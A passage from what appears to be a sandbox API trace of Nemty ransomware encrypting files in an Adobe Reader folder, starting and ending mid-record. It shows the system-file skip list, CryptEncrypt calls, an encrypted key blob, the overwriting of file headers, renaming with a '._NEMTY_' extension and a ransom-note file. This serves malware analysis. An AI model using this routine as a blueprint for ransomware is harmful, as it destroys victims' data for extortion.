ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0187.184] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.185] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0187.185] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0187.185] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340498 [0187.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0187.185] Sleep (dwMilliseconds=0x5) [0187.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2339b8b0, dwHighDateTime=0x1d561e8)) [0187.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2339b8b0, dwHighDateTime=0x1d561e8)) [0187.198] GetLastError () returned 0x0 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.198] GetLastError () returned 0x0 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.198] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.198] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.198] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0187.198] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="UVtPTJ4Q2HZ7qTFblcrOnH+2n+wL1h66x//bpV6/oohJTpIPQNJUaDHo3oADyQ1y\r\n8CWhoYMBbZ0dUo8RXkn6OsiXwiSzkxXEoaRbCWUirCXZ9TgkQ26A5+BgIs6aVsYd\r\nKHjV3oyMPDwe9ediAjum9XnNrhtkCgbFHZORZ+ILE/ZzGM9vUTD/UGOQJ6Rcj2Pm\r\nYWYI10Aof09mfjX/WrkZzmjdg/lSDXMzjM+9BVrm135lB1li48zZELyT/M/fAf0U\r\noHqD/O+vEzVe7OH+g/V2vrSrlJFY5B85wDNeic+OQveed7iM8EZwxlqjWW9sy58I\r\nM4nz68fO51jJ7QyQHCfnWA==\r\n", pcchString=0x653df5c) returned 1 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0187.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.199] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=632973) returned 1 [0187.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0187.199] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.199] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0187.208] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.208] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0187.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.209] SetFilePointer (in: hFile=0x320, lDistanceToMove=632973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a88d [0187.209] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.210] CloseHandle (hObject=0x320) returned 1 [0187.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0187.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0187.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.211] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.212] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23290f10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23290f10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23290f10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0187.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0187.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0187.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.213] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23290f10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23290f10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23290f10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0187.213] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0187.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.213] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="CHS", cAlternateFileName="")) returned 1 [0187.213] lstrcmpiW (lpString1="CHS", lpString2=".") returned 1 [0187.213] lstrcmpiW (lpString1="CHS", lpString2="..") returned 1 [0187.213] lstrcmpiW (lpString1="CHS", lpString2="...") returned 1 [0187.213] lstrcmpiW (lpString1="CHS", lpString2="windows") returned -1 [0187.213] lstrcmpiW (lpString1="CHS", lpString2="$RECYCLE.BIN") returned 1 [0187.213] lstrcmpiW (lpString1="CHS", lpString2="rsa") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="NTDETECT.COM") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="ntldr") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="MSDOS.SYS") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="IO.SYS") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="boot.ini") returned 1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="boot.ini") returned 1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="AUTOEXEC.BAT") returned 1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="ntuser.dat") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="desktop.ini") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="CONFIG.SYS") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="RECYCLER") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="BOOTSECT.BAK") returned 1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="bootmgr") returned 1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="programdata") returned -1 [0187.214] lstrcmpiW (lpString1="CHS", lpString2="appdata") returned 1 [0187.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHS", lpUsedDefaultChar=0x0) returned 3 [0187.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, 